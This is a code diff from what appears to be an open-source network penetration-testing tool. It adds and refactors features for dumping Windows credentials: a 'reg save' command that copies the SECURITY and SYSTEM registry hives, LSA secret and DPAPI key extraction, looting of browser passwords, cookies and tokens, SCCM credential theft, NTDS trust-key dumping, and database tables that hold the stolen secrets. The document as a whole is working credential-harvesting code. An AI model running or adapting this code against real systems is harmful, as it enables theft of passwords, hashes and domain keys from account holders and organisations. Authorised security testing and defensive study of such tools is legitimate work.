self.logger.display(f"Database [{self.args.database}] has no user tables.")
|
||||
return
|
||||
|
||||
self.logger.display(f"Tables in database: {db_arg}")
|
||||
self.logger.display(f"Tables in database: {self.args.database}")
|
||||
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
|
||||
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
|
||||
for r in rows:
|
||||
mod = r.get("modify_date", "")
|
||||
if mod and hasattr(mod, "strftime"):
|
||||
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
|
||||
for row in rows:
|
||||
modify_date = row.get("modify_date", "")
|
||||
if modify_date and hasattr(modify_date, "strftime"):
|
||||
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} table(s)")
|
||||
return
|
||||
|
||||
@@ -591,7 +599,7 @@ class mssql(connection):
|
||||
SAM.export(output_filename)
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
@@ -613,15 +621,53 @@ class mssql(connection):
|
||||
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
|
||||
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
|
||||
return
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
perSecretCallback=lsa_secret_callback,
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
port=self.port,
|
||||
hashes=f":{self.nthash}",
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
use_kcache=self.use_kcache,
|
||||
aesKey=self.aesKey,
|
||||
db_auth=self.args.local_auth,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,6 +1,7 @@
|
||||
import warnings
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning
|
||||
from sqlalchemy.orm import declarative_base
|
||||
@@ -19,6 +20,8 @@ class database(BaseDB):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -75,6 +78,32 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -84,6 +113,8 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
|
||||
"""
|
||||
@@ -279,6 +310,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -353,3 +398,113 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -16,6 +16,9 @@ def proto_args(parser, parents):
|
||||
cgroup = mssql_parser.add_argument_group("Credential Gathering")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
+56
-260
@@ -62,8 +62,6 @@ from nxc.config import process_secret, host_info_colors, check_guest_account, di
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string, validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
|
||||
from nxc.protocols.smb.wmiexec import WMIEXEC
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
@@ -76,17 +74,13 @@ from nxc.protocols.smb.samrfunc import SamrFunc
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.misc import detect_if_ip
|
||||
from nxc.protocols.ldap.resolution import LDAPResolution
|
||||
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.lib.network.smb import SMBTarget as Target
|
||||
|
||||
from time import time, ctime, sleep
|
||||
from traceback import format_exc
|
||||
@@ -139,12 +133,12 @@ class smb(connection):
|
||||
self.nthash = ""
|
||||
self.remote_ops = None
|
||||
self.bootkey = None
|
||||
self.dpapi_system_key = None
|
||||
self.smbv1 = None # Check if SMBv1 is supported
|
||||
self.smbv3 = None # Check if SMBv3 is supported
|
||||
self.is_timed_out = False
|
||||
self.signing = False
|
||||
self.smb_share_name = smb_share_name
|
||||
self.pvkbytes = None
|
||||
self.no_da = None
|
||||
self.no_ntlm = False
|
||||
self.null_auth = False
|
||||
@@ -154,6 +148,8 @@ class smb(connection):
|
||||
self.tgt = None
|
||||
self.tgs = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
@@ -2328,255 +2324,32 @@ class smb(connection):
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
dump_system = "nosystem" not in self.args.dpapi
|
||||
|
||||
if self.args.pvk is not None:
|
||||
try:
|
||||
with open(self.args.pvk, "rb") as f:
|
||||
self.pvkbytes = f.read()
|
||||
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
|
||||
if self.pvkbytes is None:
|
||||
self.pvkbytes = get_domain_backup_key(self)
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.remoteName,
|
||||
address=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
if dump_system:
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
dump_cookies = "cookies" in self.args.dpapi
|
||||
|
||||
cng_chromekey = None
|
||||
try:
|
||||
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
if self.output_file:
|
||||
self.output_file.close()
|
||||
with open(self.output_file_template.format(output_folder="dpapi")) as f:
|
||||
if sum(1 for _ in f) == 0:
|
||||
self.logger.fail("No dpapi loot retrieved")
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
|
||||
@requires_admin
|
||||
def list_snapshots(self):
|
||||
@@ -2593,13 +2366,21 @@ class smb(connection):
|
||||
self.logger.highlight(f"{drive:<8}{i:<26}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
try:
|
||||
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
|
||||
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
self.logger.highlight(secret)
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
@@ -2609,7 +2390,8 @@ class smb(connection):
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
@@ -2629,13 +2411,15 @@ class smb(connection):
|
||||
isRemote=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(self.output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(self.output_filename)
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
try:
|
||||
self.remote_ops.finish()
|
||||
except Exception as e:
|
||||
@@ -2654,9 +2438,10 @@ class smb(connection):
|
||||
NTDSFileName = None
|
||||
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
||||
printed_kerb_keys_banner = False
|
||||
printed_trust_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret, host_id):
|
||||
nonlocal printed_kerb_keys_banner
|
||||
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
@@ -2667,13 +2452,15 @@ class smb(connection):
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
is_enabled_account = secret.endswith(" (status=Enabled)")
|
||||
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
|
||||
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
|
||||
secret = secret.removesuffix(status)
|
||||
|
||||
if not self.args.enabled or is_enabled_account or is_trust_key:
|
||||
if is_trust_key and not printed_trust_keys_banner:
|
||||
self.logger.display("Trust keys:")
|
||||
printed_trust_keys_banner = True
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
@@ -2725,18 +2512,27 @@ class smb(connection):
|
||||
outputFileName=self.output_filename,
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
trustKeys=self.args.trust_keys,
|
||||
justTrustKeys=self.args.just_trust_keys,
|
||||
domainFQDN=self.targetDomain,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
|
||||
else:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
